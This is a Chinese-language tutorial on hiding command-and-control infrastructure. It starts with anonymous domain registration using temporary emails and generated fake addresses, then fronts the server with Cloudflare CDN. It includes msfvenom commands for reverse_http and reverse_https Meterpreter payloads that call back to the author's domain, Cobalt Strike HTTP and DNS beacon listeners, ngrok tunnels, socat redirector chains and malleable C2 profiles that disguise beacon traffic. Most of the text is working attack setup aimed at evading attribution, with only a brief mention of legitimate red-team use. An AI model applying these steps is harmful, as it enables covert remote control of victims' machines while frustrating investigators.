渗透框架进阶之流量隐藏
渗透框架进阶之流量隐藏
hihopkc域名上线隐藏IP
为什么要隐藏IP
在使用MSF或者CS获得目标机Sessions或者Beacon时,如果直接使用自己的VPS作为MSF或CS的服务器时,容易被溯源到攻击者所在VPS主机IP。
域名上线原理
当我们访问域名时会经过域名解析,域名解析就是将域名转换到IP地址的过程,我们通过域名访问服务器,实际上是访问的目标服务器IP地址
- A记录: 将域名指向一个IPv4地址(例如:100.100.100.100),需要增加A记录
- CNAME记录: 如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加CNAME记录。这个域名一般是主机服务商提供的一个域名
- MX记录: 建立电子邮箱服务,将指向邮件服务器地址,需要设置MX记录。建立邮箱时,一般会根据邮箱服务商提供的MX记录填写此记录
- NS记录: 域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置NS记录TXT记录: 可任意填写,可为空。一般做一些验证记录时会使用此项,如:做SPF(反垃圾邮件)记录
- AAAA记录: 将主机名(或域名)指向一个IPv6地址(例如:ff03:0:0:0:0:0:0:c1),需要添加AAAA记录
思考?
假设现在有一个域名 www.aaa.com 配置了A记录,那么我想让我的 MSF 上线能达到隐藏真实IP的效果吗
CDN简介
CDN 的全称是 Content Delivery Network ,即内容分发网络。其目的是通过在现有的 Internet 中增加一层新的 CACHE (缓存)层,将网站的内容发布到最接近用户的网络”边缘“的节点,目的提高用户访问网站的先赢速度
使用CDN内容分发网络的多节点分布式技术,通过 “加速、代理、缓存” 隐藏在后面的静态文件或服务;最终实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP!
假设业务源站域名为 www.test.com ,当域名接入 CDN 开始使用加速服务后,您的用户发起 HTTP 请求,实际的处理流程如图所示,根据他的处理流程, CDN 最后会将流量转发到真实 IP 上,那么我们便能通过 CDN 达到隐藏自身的效果
域名+CDN配置
- 关于备案
无需备案:
- 注册国外域名,但是暂时不打算启用建站,那么无需备案;
- 注册国外域名,域名指向到国外网站空间或者是放置在特别行政区,如香港,也无需备案。
需要备案:
- 注册国内域名,要备案后才能使用。
- 注册国外域名,但是绑定国内的服务器空间,也需要备案才能使用
匿名注册域名
国外域名注册商 NameSilo
注册账号: https://www.namesilo.com/login
可以使用临时邮箱注册登录。
美国地址生成器: https://www.meiguodizhi.com/
- 搜索域名
网站首页,输入查询的域名
便宜域名后缀: .info、.top、.xyz、.fun 等等
- 购买域名
网上找的优惠码:
购买成功进入域名管理页面:
https://www.namesilo.com/account_domains.php
注册免费CDN服务
- 登录注册账号
- 配置域名使用CDN添加站点
主页,添加站点,输入前面购买的域名。
- 选择免费计划
- 概述
完成名称服务器设置
- 配置域名的 NameServer 域名解析服务
进入我的域名:https://www.namesilo.com/account_domains.php
选择 Change Nameservers:
修改为 Cloudflare 上得到的 nameserver
- 返回 Cloudflare 检查名称服务器
大概需要等待 10-20 分钟左右的时间,设置成功后, Cloudflare 会发送邮件。
配置 NameServer 更换解析服务器的原因就是,将 xxx 域名的所有解析功能都托管在Cloudflare ,这样 Cloudflare 就可以提供 CDN 的解析功能!
配置CDN域名解析
- DNS配置
直接配置使用CDN代理模式进行域名解析提供服务
- 自动配置全部选择关闭
概述 -> 快速入门指南
- 配置 SSL/TLS 加密方式
SSL/TLS ->关闭(不安全)
注意:
Cloudflare 的 CDN , http、https 代理模式有个特点,如果用其他端口的话,是监听不到的!
Cloudflare 支持的HTTP端口是:
1 | 80,8080,8880,2052,2082,2086,2095 |
Cloudflare 支持的HTTPS端口是:
1 | 443,2053,2083,2087,2096,8443 |
到此域名+CDN全部搞定!开始测试!
Metasploit
- 云服务器安装metasploit
1 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall |
HTTP
MSF生成木马
1 | msfvenom -p windows/x64/meterpreter/reverse_http LHOST=ali.hihopkc.sbs LPORT=2095 -f exe -o 2095.exe |
MSF开启监听
1 | use exploit/multi/handler |
在 windows 主机上执行 2095.exe 程序
流量分析
Wireshark
HTTPS
生成HTTPS证书
去 Cloudflare 的 SSL/TLS > 源服务器 创建证书,使用默认配置生成 pem 和 key
点击创建,生成源证书和私钥证书
保存源证书内容为 cloudflare.pem ,保存私钥内容为 cloudflare.key ,将创建的 pem 和 key 文件上传至云服务器。
创建一个包含源证书内容和私钥内容的统一证书文件;使用 cat 命令:
1 | cat cloudflare.key cloudflare.pem >> cloudflare-key.pem |
设置监听器
设置 StagerVerifySSLCert 为 true ,表示启用 SSL 验证,同时设置 EnableStageEncoding 来对第二阶段的有效载荷进行编码(分阶段Payload)。
始终使用 HTTPS -> 打开选项
设置 SSLVersion 为 cloudflare 中指定的最低TLS版本,默认为 TLS1
1 | use exploit/multi/handler |
浏览器访问 https://ali.hihopkc.sbs:443 ,看到 https 锁和 It works ,表示证书配置成功
生成Payload
创建有效载荷,使用你的域名作为 LHOST
1 | msfvenom -p windows/x64/meterpreter_reverse_https LHOST=ali.hihopkc.sbs LPORT=443 -f exe -o r443.exe |
上线会话
在目标机执行生成的 Payload ,成功收到返回的会话
Cobaltstrike
Beacon HTTP
配置Listener
HTTP Host Header ,必须填写你的域名!这是CDN技术的原理要求;
1 | Payload: Beacon HTTP |
查看受控主机本地回连 C2 服务器的IP地址为 104.21.52.109:2095 (CDN节点IP),而不是我们自己服务器的真实IP
生成Payload
使用上一步配置的监听器,创建windows可执行 Payload ,目标主机运行 payload ,主机可以成功上线
流量分析
优点:利用CDN分布式技术,不同区域的主机就近连接到CDN服务,优化了访问质量,隐藏了真实服务器的ip;且CDN分布式技术可以在一定程度抵抗DDOS大流量攻击;使用国内CDN适合用于做红蓝对抗技术比拼等合法目的;
缺点:受控主机还是通过我们自己的域名进行回连,对外还是能看到连接域名;且如果使用国内CDN的服务(增加了风险),域名就必须完成ICP备案(增加了风险)
Beacon DNS
Cloudflare添加域名
- 到 https://dash.cloudflare.com/ 注册并登录
- 添加站点,选择域名添加:xxx.com
- 添加A记录,设置为VPS的IP地址
1 | A ds 47.236.16.67 |
- 添加NS记录,设置为A记录对应的域名
1 | NS ns1 ds.hihopkc.sbs |
创建DNS监听器
1 | Name: dns |
CS生成Payload
生成 Payload 执行上线, Beacon 上线后没有信息显示,右键进入 Beacon 通过执行 chekin 命令让 DNS Beacon 强制回连 Teamserver
可以使用 mode 命令更改设置Beacon的数据交换模式
1 | Use: mode [dns|dns6|dns-txt] |
隧道转发代理
利用内网穿透,将C2回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连,隐藏C2真实IP
注册ngrok账号
下载相应版本客户端
配置通道
转发端口
1 | ./ngrok tcp 10888 |
CS配置Listener
注意其中信息要和上面转发端口保持一致
生成payload运行上线
流量走向
查看本地回接 C2 服务器的 IP 地址为 ngrok 服务的IP地址;而不是我们自己服务器的真实IP
优点:免费使用他人提供的隧道服务,可以快速的用来测试,0成本
缺点:使用了他人提供的隧道服务(增加了风险)
转发重定向
工作原理
受害者只与那台做重定向的机器通信,重定向机器只会转发来自 beacon 的特定流量到C2控制端主机具体实现:一台VPS作为转发机器,一台VPS作为 Teamserver
1 | 转发机器:110.41.130.64 |
Socat转发
1 | socat TCP4-LISTEN:80,fork TCP4:C2ip:80 |
常用选项
1 | -lh 将主机名添加到日志消息 |
1 | socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:47.236.16.67:19999 |
将此机器 801 端口接受到的流量转发给 47.236.16.67:19999
创建监听器
通过此监听生成木马上线
多层转发
1 | socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:120.27.61.239:801 |
CS流量隐藏
CS配置文件Profile
下载地址
https://github.com/threatexpress/malleable-c2
https://github.com/threatexpress/malleable-c2/archive/refs/heads/master.zip
keystore 的生成方法:
去 Cloudflare 的 SSL/TLS > 源服务器 创建证书,使用默认配置生成 pem 和 key 。
点击创建,生成源证书和私钥证书
保存源证书内容为 cloudflare.pem ,保存私钥内容为 cloudflare.key
将创建的 pem 和 key 文件上传至云服务器。执行以下命令(www.xxx.com为申请的域名)
1 | openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -passout pass:123456 |
例子:
1 | openssl pkcs12 -export -in cloudflare.pem -inkey cloudflare.key -out www.mingy.xyz.p12 -name www.mingy.xyz -passout pass:123456 |
将生成的 keystore 文件放在云服务器CS的根目录下。
然后对 4.4 版本 Profile 进行修改。将 keystore 文件名称和密码填入 profile 文件中。
需要修改的内容主要有4处:
- https-certificate
修改模块中的 keystore 和 password ,并去掉 # 注释
1 | set keystore "shop.baidus.top.store" |
- http-stager
把 Server 配置如下内容:
1 | header "Content-Type" "application/javascript; charset=utf-8"; |
修改为:
1 | header "Content-Type" "application/*; charset=utf-8"; |
修改 Client 配置中的 Host 和 Referer :
1 | client { |
- http-get
修改 Client 配置中的 Host 和 Referer:
1 | client { |
修改 Server 配置如下内容:
1 | header "Content-Type" "application/javascript; charset=utf-8"; |
修改为:
1 | header "Content-Type" "application/*; charset=utf-8"; |
在修改完成后,使用 CS 自带的 c2lint 对 profile 语法进行检查,没有报错的话说明配置是对的。
1 | c2lint c2.4.7.profile |
修改CDN配置
在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。
启用开发模式并清除缓存。
规则,添加页面规则,创建页面规则
选取设置:缓存级别,绕过
测试上线
使用修改好的profile启动CS
1 | ./teamserver 124.71.45.28 cs44 jquery-c2.4.4.profile |
对CS的 listener 进行配置
验证数据包
上线后Wireshark捕捉到的get数据包,104.21.40.221为我们的cdn地址。host与referer为我们的域名。